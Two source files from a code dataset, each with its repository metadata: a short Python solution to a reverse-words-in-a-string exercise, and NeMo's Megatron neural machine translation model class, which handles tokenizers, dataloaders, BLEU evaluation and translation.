604efd2c53c369fb262f42f7f7f31997ea4d029b
refs/heads/master
2022-12-22T23:42:17.412776
2022-12-15T21:27:37
2022-12-15T21:27:37
78,082,899
1
0
null
null
null
null
UTF-8
Python
false
false
2,038
py
''' Given an input string, reverse the string word by word. For example, Given s = "the sky is blue", return "blue is sky the". Update (2015-02-12): For C programmers: Try to solve it in-place in O(1) space. click to show clarification. Clarification: What constitutes a word? A sequence of non-space characters constitutes a word. Could the input string contain leading or trailing spaces? Yes. However, your reversed string should not contain leading or trailing spaces. How about multiple spaces between two words? Reduce them to a single space in the reversed string. ''' class Solution(object): def reverseWords(self, s): """ :type s: str :rtype: str """ sList = [] word = "" for i in range(len(s)): if s[i] != " ": word = word + s[i] else: if word != "": sList.append(word) word = "" if word != "": sList.append(word) sList = sList[::-1] return(" ".join(sList)) class Solution(object): def reverseWords(self, s): """ :type s: str :rtype: str """ sList = '' word = "" for i in range(len(s)-1, -1, -1): if s[i] != " ": word = s[i] + word else: if word != "": if sList != "": sList = sList + ' ' + word else: sList = word word = "" if word != "" : if sList == "": sList = word else: sList = sList + ' ' + word return(sList) class Solution(object): def reverseWords(self, s): """ :type s: str :rtype: str """ sList = s.split(" ") sList2 = [] for i in sList: if i != "": sList2.append(i) return(" ".join(sList2[::-1]))
[ "noreply@github.com" ]
fxy1018.noreply@github.com
004076a6ac2be3bfdad20f2b8c41e3eee199c4d9
768090e32003d74062cc47a0e67f47f682ceba13
/nemo/collections/nlp/models/machine_translation/megatron_nmt_model.py
4acffb63f4b07949fdf4b7a63aecec0844465280
[ "Apache-2.0" ]
permissive
AlexGrinch/NeMo
028e57e2243c474249986e1c5027d4e762775124
ba6ebee02e554e6f7229edfe67a610eca4d226af
refs/heads/main
2022-10-10T15:42:25.146469
2022-08-05T22:08:05
2022-08-05T22:08:05
209,156,248
0
1
Apache-2.0
2019-09-17T21:04:30
2019-09-17T21:04:29
null
UTF-8
Python
false
false
42,038
py
# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import itertools import random import re from typing import List, Optional import numpy as np import torch from omegaconf.dictconfig import DictConfig from omegaconf.listconfig import ListConfig from pytorch_lightning.trainer.trainer import Trainer from sacrebleu import corpus_bleu from nemo.collections.nlp.data.common.sequence_to_sequence_dataset import ( BinarizedMemmapSequenceToSequenceDataset, TextMemmapSequenceToSequenceDataset, ) from nemo.collections.nlp.data.language_modeling.megatron.base_dataset_utils import ( get_datasets_weights_and_num_samples, ) from nemo.collections.nlp.data.language_modeling.megatron.blendable_dataset import BlendableDataset from nemo.collections.nlp.data.language_modeling.megatron.megatron_batch_samplers import ( MegatronPretrainingBatchSampler, ) from nemo.collections.nlp.models.language_modeling.megatron_lm_encoder_decoder_model import ( MegatronLMEncoderDecoderModel, ) from nemo.collections.nlp.models.language_modeling.megatron_t5_model import MegatronT5Model from nemo.collections.nlp.models.machine_translation.mt_enc_dec_model import MTEncDecModel from nemo.collections.nlp.parts.nlp_overrides import GlobalBatchDataFetcher from nemo.collections.nlp.parts.utils_funcs import get_last_rank from nemo.utils import AppState, logging, timers try: from apex.transformer import parallel_state from apex.transformer.pipeline_parallel.utils import _reconfigure_microbatch_calculator HAVE_APEX = True except (ImportError, ModuleNotFoundError): HAVE_APEX = False __all__ = ["MegatronNMTModel"] class MegatronNMTModel(MegatronLMEncoderDecoderModel): """ Megatron NMT training """ def __init__(self, cfg: DictConfig, trainer: Trainer): # All of the lines below need to be set when the parent class calls self._build_tokenizer() self.encoder_tokenizer_library = cfg.encoder_tokenizer.get('library', 'yttm') self.decoder_tokenizer_library = cfg.decoder_tokenizer.get('library', 'yttm') self.special_tokens = {} self.src_language = cfg.get("src_language", None) self.tgt_language = cfg.get("tgt_language", None) self.multilingual = cfg.get("multilingual", False) self.multilingual_ids = [] self.validate_input_ids = cfg.get("validate_input_ids", True) if self.multilingual: if isinstance(self.src_language, ListConfig) and isinstance(self.tgt_language, ListConfig): raise ValueError( "cfg.src_language and cfg.tgt_language cannot both be lists. We only support many-to-one or one-to-many multilingual models." ) elif isinstance(self.src_language, ListConfig): pass elif isinstance(self.tgt_language, ListConfig): for lng in self.tgt_language: self.special_tokens["<" + lng + ">"] = "<" + lng + ">" else: raise ValueError( "Expect either cfg.src_language or cfg.tgt_language to be a list when multilingual=True." ) super().__init__(cfg, trainer=trainer) def setup(self, stage=None): # NOTE: super().__init__ will try and setup train/val/test datasets, but we sidestep this using a if self._train_ds is not None condition # We then set things up for real only once setup() of this class is called. resume_checkpoint_path = self.trainer._checkpoint_connector.resume_from_checkpoint_fit_path if resume_checkpoint_path: try: init_consumed_samples = int( float(re.findall(r"consumed_samples\=([0-9]+.[0-9]+)", resume_checkpoint_path)[0]) ) except (ValueError, TypeError): logging.warning( "Cannot parse the checkpoint file to get the consumed samples. This is expected if you are not using memmap datasets." ) init_consumed_samples = 0 else: init_consumed_samples = 0 self.init_consumed_samples = init_consumed_samples if stage == 'predict': return # If the user wants to manually override train and validation dataloaders before calling `.fit()` if self._train_dl is not None and self._validation_dl is not None: return self.build_train_valid_test_datasets() self.setup_training_data(self._cfg.train_ds) self.setup_validation_data(self._cfg.validation_ds) if hasattr(self._cfg, 'test_ds'): self.setup_test_data(self._cfg.test_ds) # when using pipeline model parallel the final stage need to initialize word embeddings if parallel_state.get_pipeline_model_parallel_world_size() > 1: self.enc_dec_model.sync_initial_word_embeddings() self.enc_dec_model.sync_initial_position_embeddings() def _build_tokenizer(self): # Instantiates tokenizers and register to be saved with NeMo Model archive # After this call, there will be self.encoder_tokenizer and self.decoder_tokenizer # Which can convert between tokens and token_ids for SRC and TGT languages correspondingly. encoder_tokenizer_model = self.register_artifact( "encoder_tokenizer.model", self._cfg.encoder_tokenizer.get('model') ) decoder_tokenizer_model = self.register_artifact( "decoder_tokenizer.model", self._cfg.decoder_tokenizer.get('model') ) self.encoder_tokenizer, self.decoder_tokenizer = MTEncDecModel.setup_enc_dec_tokenizers( encoder_tokenizer_library=self.encoder_tokenizer_library, encoder_tokenizer_model=encoder_tokenizer_model, encoder_bpe_dropout=self._cfg.encoder_tokenizer.get('bpe_dropout', 0.0) if self._cfg.encoder_tokenizer.get('bpe_dropout', 0.0) is not None else 0.0, encoder_model_name=self._cfg.encoder_tokenizer.get('type', None), encoder_r2l=self._cfg.encoder_tokenizer.get('r2l', False), decoder_tokenizer_library=self.decoder_tokenizer_library, encoder_tokenizer_vocab_file=self._cfg.encoder_tokenizer.get('vocab_file', None), decoder_tokenizer_model=decoder_tokenizer_model, decoder_bpe_dropout=self._cfg.decoder_tokenizer.get('bpe_dropout', 0.0) if self._cfg.decoder_tokenizer.get('bpe_dropout', 0.0) is not None else 0.0, decoder_model_name=self._cfg.encoder_tokenizer.get('type', None), decoder_r2l=self._cfg.decoder_tokenizer.get('r2l', False), special_tokens=self.special_tokens, encoder_sentencepiece_legacy=self._cfg.encoder_tokenizer.get('sentencepiece_legacy', False), decoder_sentencepiece_legacy=self._cfg.decoder_tokenizer.get('sentencepiece_legacy', False), ) # Set up pre and post processors as well. if self.multilingual: ( self.source_processor_list, self.target_processor_list, self.multilingual_ids, ) = MTEncDecModel.setup_multilingual_ids_and_processors( src_language=self.src_language, tgt_language=self.tgt_language, encoder_tokenizer=self.encoder_tokenizer, # Multilingual training requires shared tokenizers. encoder_tokenizer_library=self.encoder_tokenizer_library, decoder_tokenizer_library=self.decoder_tokenizer_library, ) else: # After this call, the model will have self.source_processor and self.target_processor objects self.source_processor, self.target_processor = MTEncDecModel.setup_pre_and_post_processing_utils( self.src_language, self.tgt_language, self.encoder_tokenizer_library, self.decoder_tokenizer_library, ) self.multilingual_ids = [None] def _build_vocab(self): if hasattr(self.cfg, "data"): if hasattr(self.cfg.data, "dataset_type"): # This happens only when restoring a pre-trained model. We need to add all of the special tokens that were added while pre-training to avoid a checkpoint shape mismatch while restoring. MegatronT5Model.add_special_tokens_to_tokenizer( self.encoder_tokenizer, self.cfg.encoder_tokenizer, self.cfg.data.dataset_type ) MegatronT5Model.add_special_tokens_to_tokenizer( self.decoder_tokenizer, self.cfg.decoder_tokenizer, self.cfg.data.dataset_type ) self.padded_vocab_size = self._vocab_size_with_padding( orig_vocab_size=self.encoder_tokenizer.vocab_size, make_vocab_size_divisible_by=self._cfg.get('make_vocab_size_divisible_by', 128), tensor_model_parallel_size=self._cfg.get('tensor_model_parallel_size', 1), ) def training_step(self, batch, batch_idx): # Need to squeze dim 0 for tarred datasets since things are pre-batched and we ask the dataloader for batch size 1. if self._cfg.train_ds.dataset_type in ['tarred', 'text']: batch = [[x.squeeze(dim=0) if x.ndim == 3 else x for x in microbatch] for microbatch in batch] batch = self.process_global_batch_for_tarred_datasets(batch) elif ( self._cfg.train_ds.dataset_type in ['bin_memmap', 'text_memmap'] and self._cfg.train_ds.get("sampler", "distributed") == 'distributed' ): batch = self._process_global_batch_without_megatron_batch_sampler(batch, tokenizer=self.encoder_tokenizer) if self._cfg.train_ds.dataset_type in ['tarred', 'text']: app_state = AppState() _reconfigure_microbatch_calculator( rank=app_state.global_rank, rampup_batch_size=None, global_batch_size=batch['text_enc'].size(0) * parallel_state.get_data_parallel_world_size(), micro_batch_size=batch['text_enc'].size(0), data_parallel_size=parallel_state.get_data_parallel_world_size(), ) return super().training_step(batch, batch_idx) def eval_step(self, batch, batch_idx, dataloader_idx, data_cfg): # Need to squeze dim 0 for tarred datasets since things are pre-batched and we ask the dataloader for batch size 1. batch = [[x.squeeze(dim=0) if x.ndim == 3 else x for x in microbatch] for microbatch in batch] batch = self.process_global_batch_for_tarred_datasets(batch) if data_cfg.dataset_type in ['tarred', 'text']: app_state = AppState() _reconfigure_microbatch_calculator( rank=app_state.global_rank, rampup_batch_size=None, global_batch_size=batch['text_enc'].size(0) * parallel_state.get_data_parallel_world_size(), micro_batch_size=batch['text_enc'].size(0), data_parallel_size=parallel_state.get_data_parallel_world_size(), ) # This returns the averaged loss across data-parallel groups. reduced_loss = super().validation_step(batch, batch_idx) tokens_enc, labels, enc_mask = batch['text_enc'], batch['labels'], batch['enc_mask'] predicted_tokens_ids, _ = self.decode( tokens_enc, enc_mask, tokens_enc.size(1) + self._cfg.max_generation_delta, # Generate up to src-length + max generation delta. TODO: Implement better stopping when everything hits <EOS>. tokenizer=self.decoder_tokenizer, ) if self.multilingual: source_processor = self.source_processor_list[dataloader_idx] target_processor = self.target_processor_list[dataloader_idx] else: source_processor = self.source_processor target_processor = self.target_processor # Post-process the translations and inputs to log. preds = self.postprocess_outputs( outputs=predicted_tokens_ids, tokenizer=self.decoder_tokenizer, processor=target_processor, ) labels = self.postprocess_outputs( outputs=labels, tokenizer=self.decoder_tokenizer, processor=target_processor, ) encoder_inputs = self.postprocess_outputs( outputs=tokens_enc, tokenizer=self.encoder_tokenizer, processor=source_processor, ) return { 'inputs': encoder_inputs, 'translations': preds, 'ground_truths': labels, 'loss': reduced_loss, } def postprocess_outputs(self, outputs, tokenizer, processor): # Convert ids to lists. outputs = outputs.cpu().numpy().tolist() # Filter out the special tokens and de-tokenize. results = [] for item in outputs: if tokenizer.eos_id in item: idx = item.index(tokenizer.eos_id) item = item[:idx] # Legacy sentencepiece detokenization still preserves special tokens which messes up exact string match. if hasattr(tokenizer, 'special_token_to_id'): item = [id for id in item if id not in tokenizer.special_token_to_id.values()] item = tokenizer.ids_to_text(item) results.append(item) if processor is not None: results = [processor.detokenize(item.split(' ')) for item in results] return results def validation_step(self, batch, batch_idx, dataloader_idx=0): """ Lightning calls this inside the validation loop with the data from the validation dataloader passed in as `batch`. """ return self.eval_step(batch, batch_idx, dataloader_idx, self._cfg.validation_ds) def _setup_eval_dataloader_from_config(self, cfg: DictConfig, dataset): rank = parallel_state.get_data_parallel_rank() world_size = parallel_state.get_data_parallel_world_size() dataloaders = [] for _dataset in dataset: sampler = torch.utils.data.distributed.DistributedSampler( _dataset, num_replicas=world_size, rank=rank, shuffle=False ) dataloaders.append( torch.utils.data.DataLoader( dataset=_dataset, batch_size=1, sampler=sampler, num_workers=cfg.get("num_workers", 0), pin_memory=cfg.get("pin_memory", False), drop_last=cfg.get("drop_last", False), shuffle=False, ) ) return dataloaders def validation_epoch_end(self, outputs): return self.eval_epoch_end(outputs, 'val') def test_epoch_end(self, outputs): return self.eval_epoch_end(outputs, 'test') def eval_epoch_end(self, outputs, mode): if not outputs: return if isinstance(outputs[0], dict): outputs = [outputs] self.log( 'consumed_samples', self.compute_consumed_samples(self.trainer.global_step - self.init_global_step), rank_zero_only=True, ) self.log('global_step', self.trainer.global_step, prog_bar=True, rank_zero_only=True) loss_list = [] bleu_score_list = [] for dataloader_idx, output in enumerate(outputs): if parallel_state.is_pipeline_last_stage(): # only the last pipeline parallel stages return loss averaged_loss = torch.stack([x['loss'] for x in output]).mean() else: averaged_loss = torch.tensor(0.0).to(self.device) # we can only log on one rank if it is rank zero so we broadcast from last rank torch.distributed.broadcast(averaged_loss, get_last_rank()) # averaged_loss = average_losses_across_data_parallel_group([x['loss'] for x in output]) inputs = list(itertools.chain(*[x['inputs'] for x in output])) translations = list(itertools.chain(*[x['translations'] for x in output])) ground_truths = list(itertools.chain(*[x['ground_truths'] for x in output])) assert len(translations) == len(inputs) assert len(translations) == len(ground_truths) # Gather translations and ground truths from all workers tr_gt_inp = [None for _ in range(parallel_state.get_data_parallel_world_size())] # we also need to drop pairs where ground truth is an empty string torch.distributed.all_gather_object( tr_gt_inp, [(t, g, i) for (t, g, i) in zip(translations, ground_truths, inputs)], group=parallel_state.get_data_parallel_group(), ) # if parallel_state.get_data_parallel_rank() == 0: if self.global_rank == 0: _translations = [] _ground_truths = [] _inputs = [] # Deduplicate sentences that may have been distributed across multiple data parallel ranks. gt_inp_set = set() for rank in range(0, parallel_state.get_data_parallel_world_size()): for t, g, i in tr_gt_inp[rank]: if g + i not in gt_inp_set: gt_inp_set.add(g + i) _translations.append(t) _ground_truths.append(g) _inputs.append(i) if self.tgt_language in ['ja']: sacre_bleu = corpus_bleu(_translations, [_ground_truths], tokenize="ja-mecab") elif self.tgt_language in ['zh']: sacre_bleu = corpus_bleu(_translations, [_ground_truths], tokenize="zh") else: sacre_bleu = corpus_bleu(_translations, [_ground_truths], tokenize="13a") bleu_score = sacre_bleu.score * parallel_state.get_data_parallel_world_size() dataset_name = "Validation" if mode == 'val' else "Test" logging.info(f"{dataset_name}, Dataloader index: {dataloader_idx}, Set size: {len(_translations)}") logging.info( f"{dataset_name}, Dataloader index: {dataloader_idx}, SacreBLEU = {bleu_score / parallel_state.get_data_parallel_world_size()}" ) logging.info(f"{dataset_name}, Dataloader index: {dataloader_idx}, Translation Examples:") logging.info('============================================================') for example_idx in range(0, 3): random_index = random.randint(0, len(_translations) - 1) logging.info(" " + '\u0332'.join(f"Example {example_idx}:")) logging.info(f" Input: {_inputs[random_index]}") logging.info(f" Prediction: {_translations[random_index]}") logging.info(f" Ground Truth: {_ground_truths[random_index]}") logging.info('============================================================') else: bleu_score = 0.0 loss_list.append(averaged_loss.cpu().numpy()) bleu_score_list.append(bleu_score) if dataloader_idx == 0: if self.multilingual: self._log_multilingual_bleu_and_loss(dataloader_idx, bleu_score, averaged_loss, mode) else: self.log(f'{mode}_sacreBLEU', bleu_score, sync_dist=True) self.log(f'{mode}_loss', averaged_loss, prog_bar=True) else: if self.multilingual: self._log_multilingual_bleu_and_loss(dataloader_idx, bleu_score, averaged_loss, mode) else: self.log(f'{mode}_sacreBLEU_dl_index_{dataloader_idx}', bleu_score, sync_dist=True) self.log(f'{mode}_loss_dl_index_{dataloader_idx}', averaged_loss, prog_bar=False) if len(loss_list) > 1: self.log(f"{mode}_loss_avg", np.mean(loss_list), sync_dist=True) self.log(f"{mode}_sacreBLEU_avg", np.mean(bleu_score_list), sync_dist=True) def _log_multilingual_bleu_and_loss(self, dataloader_idx, bleu_score, loss, mode): """ Function to log multilingual BLEU scores with the right source-target language string instead of just the dataloader idx. """ # Check if one-many or many-one and log with lang ids instead of dataloader_idx reverse_lang_direction = self._cfg.train_ds.reverse_lang_direction if isinstance(self.src_language, ListConfig): translation_lang_string = ( f'{self.src_language[dataloader_idx]}-{self.tgt_language}' if not reverse_lang_direction else f'{self.tgt_language}-{self.src_language[dataloader_idx]}' ) self.log(f'{mode}_sacreBLEU_{translation_lang_string}', bleu_score, sync_dist=True) self.log(f'{mode}_loss_{translation_lang_string}', loss, sync_dist=True) else: translation_lang_string = ( f'{self.src_language}-{self.tgt_language[dataloader_idx]}' if not reverse_lang_direction else f'{self.tgt_language[dataloader_idx]}-{self.src_language}' ) self.log(f'{mode}_sacreBLEU_{translation_lang_string}', bleu_score, sync_dist=True) self.log(f'{mode}_loss_{translation_lang_string}', loss, sync_dist=True) def setup_validation_data(self, val_data_config: Optional[DictConfig]): if hasattr(self, '_validation_ds'): self._validation_dl = self._setup_eval_dataloader_from_config( cfg=val_data_config, dataset=self._validation_ds ) def setup_test_data(self, test_data_config: Optional[DictConfig]): if hasattr(self, '_test_ds'): self._test_dl = self._setup_eval_dataloader_from_config(cfg=test_data_config, dataset=self._test_ds) def setup_training_data(self, train_data_config: Optional[DictConfig]): # TODO: Figure out how to set global rank and world size for model parallel. if hasattr(self, '_train_ds'): if train_data_config.dataset_type in ['tarred', 'text']: self._train_dl = MTEncDecModel._setup_dataloader_from_config( cfg=train_data_config, dataset=self._train_ds ) elif train_data_config.dataset_type in ['bin_memmap', 'text_memmap']: consumed_samples = self.compute_consumed_samples(0) self._train_dl = self._setup_megatron_dataloader_from_config( cfg=train_data_config, dataset=self._train_ds, consumed_samples=consumed_samples ) def _setup_megatron_dataloader_from_config(self, cfg, dataset, consumed_samples): logging.info(f'Building dataloader with consumed samples: {consumed_samples}') rank = parallel_state.get_data_parallel_rank() world_size = parallel_state.get_data_parallel_world_size() if isinstance(dataset, BlendableDataset): collate_fn = dataset.datasets[0].collate_fn else: collate_fn = dataset.collate_fn if cfg.get("sampler", "distributed") == 'distributed': sampler = torch.utils.data.distributed.DistributedSampler( dataset, num_replicas=world_size, rank=rank, shuffle=True, seed=consumed_samples, # Ensures that each time the model is restored, a new seed is used to see examples in a different order. ) return torch.utils.data.DataLoader( dataset, collate_fn=collate_fn, sampler=sampler, batch_size=cfg.micro_batch_size, num_workers=cfg.num_workers, pin_memory=cfg.pin_memory, drop_last=cfg.drop_last, ) elif cfg.get("sampler", "distributed") == 'megatron': batch_sampler = MegatronPretrainingBatchSampler( total_samples=len(dataset), consumed_samples=consumed_samples, micro_batch_size=cfg.micro_batch_size, global_batch_size=cfg.global_batch_size, data_parallel_rank=parallel_state.get_data_parallel_rank(), data_parallel_size=parallel_state.get_data_parallel_world_size(), drop_last=True, ) return torch.utils.data.DataLoader( dataset, batch_sampler=batch_sampler, collate_fn=collate_fn, num_workers=cfg.num_workers, pin_memory=cfg.pin_memory, ) else: raise ValueError(f"Invalid sampler {cfg.sampler}. Options: ['distributed', 'megatron']") def process_global_batch_for_tarred_datasets(self, batch): """Override parent process_batch since TranslationDataset does not return dictionaries.""" global_batch = [] for microbatch in batch: # Convert each microbatch into a dictionary. src_ids, src_mask, tgt_ids, tgt_mask, labels = microbatch batch = { 'text_enc': src_ids, 'text_dec': tgt_ids, 'labels': labels, 'enc_mask': src_mask.long(), # super().process_batch() expects torch.int64 'dec_mask': tgt_mask.long(), # super().process_batch() expects torch.int64 'loss_mask': tgt_mask.long(), # super().process_batch() expects torch.int64 } global_batch.append(batch) # Parent function will pad microbatches to the same length. return self._process_global_batch_without_megatron_batch_sampler( global_batch, tokenizer=self.encoder_tokenizer ) def build_train_valid_test_datasets(self): """Builds the train, validation, and test datasets.""" # Builds datasets if the type is tarred or from raw text without memmap. if self._cfg.train_ds.dataset_type in ['tarred', 'text']: self._train_ds = self.build_tarred_train_dataset() elif self._cfg.train_ds.dataset_type in ['bin_memmap', 'text_memmap']: self._train_ds = self.build_memmap_dataset_from_config(self._cfg.train_ds) if self._cfg.validation_ds.get("dataset_type", "text") != "text": raise ValueError(f"Validation dataset type must be 'text', found {self._cfg.validation_ds.dataset_type}") self._validation_ds = MTEncDecModel._setup_eval_dataset_from_config( cfg=self._cfg.validation_ds, multilingual=self.multilingual, multilingual_ids=self.multilingual_ids, encoder_tokenizer=self.encoder_tokenizer, decoder_tokenizer=self.decoder_tokenizer, ) # Test data config is optional. if hasattr(self._cfg, 'test_ds'): if self._cfg.validation_ds.get("dataset_type", "text") != "text": raise ValueError(f"Test dataset type must be 'text', found {self._cfg.test_ds.dataset_type}") self._test_ds = MTEncDecModel._setup_eval_dataset_from_config( cfg=self._cfg.validation_ds, multilingual=self.multilingual, multilingual_ids=self.multilingual_ids, encoder_tokenizer=self.encoder_tokenizer, decoder_tokenizer=self.decoder_tokenizer, ) def build_memmap_dataset_from_config(self, cfg: DictConfig): """Builds a memmap dataset from a existing binary based o nthe provided config.""" is_src_listconfig = isinstance(cfg.src_file_name, ListConfig) is_tgt_listconfig = isinstance(cfg.tgt_file_name, ListConfig) # If multilingual, make sure both source and target are list configs if self.multilingual: if not (is_src_listconfig and is_tgt_listconfig): raise ValueError( f"Multilingual datasets must be configured with a ListConfig for both src_file_name and tgt_file_name" ) if is_src_listconfig and not is_tgt_listconfig or is_tgt_listconfig and not is_src_listconfig: raise ValueError( f"Datasets must be configured with a ListConfig for both src_file_name and tgt_file_name or neither. Found only one of them as listconfig." ) if is_src_listconfig and is_tgt_listconfig: if len(cfg.src_file_name) != len(cfg.tgt_file_name): raise ValueError(f"Datasets must have the same number of files in src_file_name and tgt_file_name") if cfg.concat_sampling_probabilities is None or not isinstance( cfg.concat_sampling_probabilities, ListConfig ): raise ValueError( f"concat_sampling_probabilities must be a ListConfig with the same number of files in src_file_name and tgt_file_name, found {cfg.concat_sampling_probabilities}" ) if len(cfg.concat_sampling_probabilities) != len(cfg.src_file_name): raise ValueError( f"concat_sampling_probabilities must be of the same size as src_file_name and tgt_file_name. Provided size {len(cfg.concat_sampling_probabilities)}, number of datasets {len(cfg.src_file_name)}" ) # Construct the data prefix list for `get_datasets_weights_and_num_samples()` that is of the format [weight1,file_name1,weight2,file_name2,...] data_prefix = [] for weight, prefix in zip(cfg.concat_sampling_probabilities, cfg.src_file_name): data_prefix.append(weight) data_prefix.append(prefix) if self.trainer.max_steps is None: raise ValueError( f"trainer.max_steps must be set to use blendable memmap datasets. Found {self.trainer.max_steps}." ) num_train_samples = [self.trainer.max_steps * self._cfg.global_batch_size] _, _, num_train_samples_per_dataset = get_datasets_weights_and_num_samples(data_prefix, num_train_samples) num_train_samples_after_blend = sum([x[0] for x in num_train_samples_per_dataset]) datasets = [] for src_file, tgt_file, num_samples in zip( cfg.src_file_name, cfg.tgt_file_name, num_train_samples_per_dataset ): if cfg.dataset_type == 'bin_memmap': dataset = BinarizedMemmapSequenceToSequenceDataset( src_dataset_prefix=src_file, tgt_dataset_prefix=tgt_file, src_tokenizer=self.encoder_tokenizer, tgt_tokenizer=self.decoder_tokenizer, max_src_seq_length=cfg.max_seq_length, max_tgt_seq_length=cfg.max_seq_length, max_num_samples=num_samples[0], seed=self._cfg.seed, ) elif cfg.dataset_type == 'text_memmap': dataset = TextMemmapSequenceToSequenceDataset( src_file_name=src_file, tgt_file_name=tgt_file, src_tokenizer=self.encoder_tokenizer, tgt_tokenizer=self.decoder_tokenizer, max_src_seq_length=cfg.max_seq_length, max_tgt_seq_length=cfg.max_seq_length, max_num_samples=num_samples[0], seed=self._cfg.seed, ) datasets.append(dataset) dataset = BlendableDataset( datasets=datasets, weights=cfg.concat_sampling_probabilities, size=num_train_samples_after_blend ) else: if cfg.dataset_type == 'bin_memmap': dataset = BinarizedMemmapSequenceToSequenceDataset( src_dataset_prefix=cfg.src_file_name, tgt_dataset_prefix=cfg.tgt_file_name, src_tokenizer=self.encoder_tokenizer, tgt_tokenizer=self.decoder_tokenizer, max_src_seq_length=cfg.max_seq_length, max_tgt_seq_length=cfg.max_seq_length, max_num_samples=self.trainer.max_steps * self._cfg.global_batch_size, seed=self._cfg.seed, ) elif cfg.dataset_type == 'text_memmap': dataset = TextMemmapSequenceToSequenceDataset( src_file_name=cfg.src_file_name, tgt_file_name=cfg.tgt_file_name, src_tokenizer=self.encoder_tokenizer, tgt_tokenizer=self.decoder_tokenizer, max_src_seq_length=cfg.max_seq_length, max_tgt_seq_length=cfg.max_seq_length, max_num_samples=self.trainer.max_steps * self._cfg.global_batch_size, seed=self._cfg.seed, ) return dataset def build_tarred_train_dataset(self): return MTEncDecModel._setup_dataset_from_config( cfg=self._cfg.train_ds, encoder_tokenizer=self.encoder_tokenizer, decoder_tokenizer=self.decoder_tokenizer, global_rank=parallel_state.get_data_parallel_rank(), world_size=parallel_state.get_data_parallel_world_size(), multilingual=self.multilingual, multilingual_ids=self.multilingual_ids, ) def list_available_models(self): pass def on_validation_epoch_end(self): app_state = AppState() if hasattr(self, "_train_ds"): _reconfigure_microbatch_calculator( rank=app_state.global_rank, rampup_batch_size=None, global_batch_size=self._cfg.train_ds.global_batch_size, micro_batch_size=self._cfg.train_ds.micro_batch_size, data_parallel_size=parallel_state.get_data_parallel_world_size(), ) def on_validation_epoch_start(self): app_state = AppState() _reconfigure_microbatch_calculator( rank=app_state.global_rank, rampup_batch_size=None, global_batch_size=parallel_state.get_data_parallel_world_size(), micro_batch_size=1, data_parallel_size=parallel_state.get_data_parallel_world_size(), ) @torch.no_grad() def translate( self, text: List[str], source_lang: str = None, target_lang: str = None, return_beam_scores: bool = False, log_timing: bool = False, ) -> List[str]: """ Translates list of sentences from source language to target language. Should be regular text, this method performs its own tokenization/de-tokenization Args: text: list of strings to translate source_lang: if not "ignore", corresponding MosesTokenizer and MosesPunctNormalizer will be run target_lang: if not "ignore", corresponding MosesDecokenizer will be run return_beam_scores: if True, returns a list of translations and their corresponding beam scores. log_timing: if True, prints timing information. Returns: list of translated strings """ # __TODO__: This will reset both source and target processors even if you want to reset just one. # NOTE: This will also set up appropriate source and target processors for a given src/tgt language for multilingual models instead of creating a list of them. if source_lang is not None or target_lang is not None: self.source_processor, self.target_processor = MTEncDecModel.setup_pre_and_post_processing_utils( source_lang, target_lang, self.encoder_tokenizer_library, self.decoder_tokenizer_library ) mode = self.training prepend_ids = [] if self.multilingual: if source_lang is None or target_lang is None: raise ValueError("Expect source_lang and target_lang to run inference for multilingual model.") src_symbol = self.encoder_tokenizer.token_to_id('<' + source_lang + '>') tgt_symbol = self.encoder_tokenizer.token_to_id('<' + target_lang + '>') if src_symbol in self.multilingual_ids: prepend_ids = [src_symbol] elif tgt_symbol in self.multilingual_ids: prepend_ids = [tgt_symbol] if log_timing: timer = timers.NamedTimer() else: timer = None cache = { "timer": timer, } try: self.eval() src, src_mask = MTEncDecModel.prepare_inference_batch( text=text, prepend_ids=prepend_ids, target=False, source_processor=self.source_processor, target_processor=self.target_processor, encoder_tokenizer=self.encoder_tokenizer, decoder_tokenizer=self.decoder_tokenizer, device=self.device, ) predicted_tokens_ids, _ = self.decode( src, src_mask, src.size(1) + self._cfg.max_generation_delta, # Generate up to src-length + max generation delta. TODO: Implement better stopping when everything hits <EOS>. tokenizer=self.decoder_tokenizer, ) best_translations = self.postprocess_outputs( outputs=predicted_tokens_ids, tokenizer=self.decoder_tokenizer, processor=self.target_processor ) return_val = best_translations finally: self.train(mode=mode) if log_timing: timing = timer.export() timing["mean_src_length"] = src_mask.sum().cpu().item() / src_mask.shape[0] tgt, tgt_mask = self.prepare_inference_batch( text=best_translations, prepend_ids=prepend_ids, target=True, source_processor=self.source_processor, target_processor=self.target_processor, encoder_tokenizer=self.encoder_tokenizer, decoder_tokenizer=self.decoder_tokenizer, device=self.device, ) timing["mean_tgt_length"] = tgt_mask.sum().cpu().item() / tgt_mask.shape[0] if type(return_val) is tuple: return_val = return_val + (timing,) else: return_val = (return_val, timing) return return_val def itn_translate_tn( self, text: List[str], source_lang: str = None, target_lang: str = None, return_beam_scores: bool = False, log_timing: bool = False, inverse_normalizer=None, normalizer=None, ) -> List[str]: """ Calls the translate() method with the option of running ITN (inverse text-normalization) on the input and TN (text-normalization) on the output. Pipeline : ITN -> translate -> TN NOTE: ITN and TN objects must be initialized with the right languages. Args: text: list of strings to translate source_lang: if not "ignore", corresponding MosesTokenizer and MosesPunctNormalizer will be run target_lang: if not "ignore", corresponding MosesDecokenizer will be run return_beam_scores: if True, returns a list of translations and their corresponding beam scores. log_timing: if True, prints timing information. inverse_normalizer: instance of nemo_text_processing.inverse_text_normalization.inverse_normalize.InverseNormalizer normalizer: instance of nemo_text_processing.text_normalization.normalize.Normalizer Returns: list of translated strings """ if inverse_normalizer is not None: text = [inverse_normalizer.normalize(example) for example in text] translations = self.translate(text, source_lang, target_lang, return_beam_scores, log_timing) if normalizer is not None: translations = [normalizer.normalize(example) for example in translations] return translations def on_train_start(self) -> None: """PTL hook used to override DataFetcher with GlobalBatchDataFetcher """ if self._cfg.train_ds.get("sampler", "distributed") == 'distributed': self.trainer.fit_loop._data_fetcher = GlobalBatchDataFetcher() def on_validation_start(self) -> None: """PTL hook used to override DataFetcher with GlobalBatchDataFetcher """ logging.info('Validation start ...') self.trainer.fit_loop.epoch_loop.val_loop._data_fetcher = GlobalBatchDataFetcher() self.trainer.validate_loop._data_fetcher = GlobalBatchDataFetcher() def on_test_start(self) -> None: self.trainer.test_loop._data_fetcher = GlobalBatchDataFetcher()
[ "noreply@github.com" ]
AlexGrinch.noreply@github.com
